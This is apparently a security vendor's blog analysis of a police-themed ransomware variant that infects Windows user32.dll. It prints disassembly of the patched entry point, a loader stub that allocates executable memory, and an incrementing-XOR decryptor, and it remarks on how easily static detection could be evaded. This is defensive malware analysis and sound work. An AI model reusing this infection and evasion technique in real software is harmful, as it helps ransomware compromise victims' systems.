Ransomware infecting user32.dll

Over the past months we’ve been monitoring a new variant of the Department of Justice (DOJ) ransomware.

Till date there is nothing written about this new variant on the internet. This blog item aims to address this.

Analysis of this particular ransomware shows that the method to infect victims is different compared to previous ransomware samples. Instead of dropping an executable on the system it infects the Windows system DLL: user32.dll.

This file is typically located in:

So far we’ve observed that the ransomware is only infecting the 32-bit version of user32.dll.

Static detection
Our support desk helped a victim in January 2014. Four months later, detection is still poor:


Resource section
The ransomware enlarges the resource section of user32.dll as can be seen in the table below:

Original user32.dll Infected user32.dll
name va vsize rawsize name va vsize rawsize
.text 0x1000 0x5f283 0x5f400 .text 0x1000 0x5f283 0x5f400
.data 0x61000 0x1180 0xc00 .data 0x61000 0x1180 0xc00
.rsrc 0x63000 0x2a088 0x2a200 .rsrc 0x63000 0x33a88 0x33c00
.reloc 0x8e000 0x2de4 0x2e00 .reloc 0x8e000 0x2de4 0x2e00

Analysis of the increased resource section in this file shows that it contains an encrypted payload with a decryptor embedded. We will show how the malware gets active once it has successfully infected the user32.dll file.

EntryPoint patched
The code in the entrypoint of an infected user32.dll is patched with a jump to AlignRects, as can be seen below:


7e41b217 8B FF          mov  edi, edi 
7e41b219 55             push ebp 
7e41b21a 8B EC          mov  ebp, esp 
7e41b21c 83 7D 0C 01    cmp  [ebp+0xC], 1 
7e41b220 75 05          jnz  0x7e41b227
7e41b222 E8 5D 07 00 00 call 0x7e41b984
7e41b227 5D             pop  ebp 
7e41b228 90             nop 
7e41b229 90             nop 
7e41b22a 90             nop 
7e41b22b 90             nop 
7e41b22c 90             nop 
7e41b22d 8B FF          mov  edi, edi 
7e41b22f 55             push ebp 
7e41b230 8B EC          mov  ebp, esp


7e41b217 8B FF          mov  edi, edi 
7e41b219 55             push ebp 
7e41b21a 8B EC          mov  ebp, esp 
7e41b21c 83 7D 0C 01    cmp  [ebp+0xC], 1 
7e41b220 75 0E          jnz  0x7e41b230
7e41b222 E8 00 00 00 00 call 0x7e41b227
7e41b227 83 04 24 0A    add  [esp], 0xa 
7e41b22b E9 B0 22 05 00 jmp  AlignRects 
7e41b230 8B EC          mov  ebp, esp

The code at AlignRects is not the original, but is replaced with code that allocates a new block of executable memory. Hereafter it copies the encrypted payload from the resource section to this newly allocated memory.

7e46d4e0  leave 
7e46d4e1  pusha 
7e46d4e2  push ebp
7e46d4e3  mov  ebp, esp
7e46d4e5  sub  esp, 8
7e46d4e8  mov  eax, [ebp+0x4C]        ; EAX becomes base-address of 
                                      ; user32.dll (7E410000)
7e46d4eb  mov  ecx, eax
7e46d4ed  add  eax, 0x13bc
7e46d4f2  mov  eax, [eax]             ; EAX becomes address of 
                                      ; NtQueryVirtualMemory

7e46d4f4  add  eax, 0xfffff5f0        ; EAX becomes address of 
                                      ; NtAllocateVirtualMemory
7e46d4f9  push 0x40
7e46d4fb  push 0x3000
7e46d500  lea  ecx, [ebp-0x4]
7e46d503  mov  [ecx], 0xc576
7e46d509  push ecx
7e46d50a  push 0
7e46d50c  lea  ecx, [ebp-0x8]
7e46d50f  mov  [ecx], 0
7e46d515  push ecx
7e46d516  push 0xff
7e46d518  call eax                    ; Call NtAllocateVirtualMemory
7e46d51a  mov  edi, [ebp-0x8]         ; EDI = allocated address
7e46d51d  mov  eax, edi
7e46d51f  mov  esi, [ebp+0x4C]        ; ESI = base-address of 
                                      ;       user32.dll (7E410000)
7e46d522  add esi, 0x8d200            ; ESI = address of encrypted payload 
                                      ;       in resource section
7e46d528  mov ecx, 0x98bb
7e46d52d  rep movs es:[edi], ds:[esi] ; Copy to allocated 
                                      ; (executable) range
7e46d52f  leave 
7e46d530  add  eax, 0x981e            ; EAX = address of decryption code
7e46d535  jmp  eax                    ; Start decryption !!

As can be seen from this code an executable block of memory is allocated. In order to do that, the address of NtAllocateVirtualMemory is calculated using the address of NtQueryVirtualMemory, which was obtained from the IAT of user32.dll.

The encrypted payload is copied into the newly allocated range of memory. This encrypted payload contains a small piece of decryption code, located near the end of the encrypted payload. This decryption code is shown below:

0:000> r
eax=0029981e ebx=7e41b217 ecx=00000000 edx=7c90e514 esi=7e4a6abb edi=002998bb
eip=0029981e esp=0007f9d4 ebp=0007fa10 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

0:000> u eax l20
0029981e call 00299823
00299823 pop  edx                     EDX = current location !
00299824 sub  edx,7FFA2F22h
0029982a push esi
0029982b lea  esi,[edx+7FFA2F1Dh]     ESI = allocated mem-base (290000)
00299831 mov  ecx,981Eh               ECX = size to decrypt (num bytes)
00299836 sub  esi,ecx
00299838 push esi
00299839 mov  ebx,6FAAEh              The XOR key (BL only, so AEh)
0029983e xor  byte ptr [esi],bl       Decrypt byte-by-byte
00299840 inc  esi
00299841 inc  ebx                     Modify XOR key for each byte (+1)
00299842 loop 0029983e
00299844 pop  eax
00299845 pop  ecx
00299846 mov  dword ptr [eax+12h],ecx
00299849 jmp  eax                     Jump to allocated mem-base, 
                                      which is now decrypted.

The decryption of the payload uses a XOR based decryption scheme were the XOR value for each byte to decrypt is incremented after each operation.

Once all bytes in the allocated memory range are decrypted, the now plain code is executed. Note the first two instructions of this decryption code, where a call/pop combination is used to obtain the current address.

This makes the decryption code position independent. The only ‘fixed’ values in this code are the size of the encrypted payload and the XOR key, so automating the payload and decryptor to avoid static detection can be easily accomplished.



Once the ransomware becomes active, some typical ransomware behavior is performed:

  • Windows Safe Mode is disabled
  • Task Manager is blocked
  • Command Prompt is blocked
  • Registry Editor is blocked

… and of course the police themed picture is shown where a ransom fee is demanded in order to release the PC (see picture at the top of this article).

Victims can use the very easy-to-use HitmanPro.Kickstart to get rid of police themed ransomware infection.

Blocking CD-ROM drives
A new property of this particular ransomware is that it disables CD-ROM drives. This makes it for some computers harder to clean the system as is explained below.

When HitmanPro detects a system file that is infected, it searches for a white-listed variant on the computer. This as Windows tends to keep a copy of system files on multiple locations on the hard disk.
If HitmanPro cannot find a white-listed known safe version, it prompts for the Windows installation CD/DVD media that came with the computer. This is a very useful feature of HitmanPro and it has been in HitmanPro for years to return infected system files to pristine state!

But since this new ransomware infection blocks access to the CD/DVD the user can no longer provide the Windows installation media for original files.

New Cloud Service
EDIT: HitmanPro build 219 (or newer) queries a new HitmanPro-cloud service that can provide a clean system file so that the user no longer has to provide Windows installation media.

32-bit: http://dl.surfright.nl/HitmanPro.exe
64-bit: http://dl.surfright.nl/HitmanPro_x64.exe




Comments are closed.


Get every new post delivered to your Inbox.

Join 36 other followers

%d bloggers like this: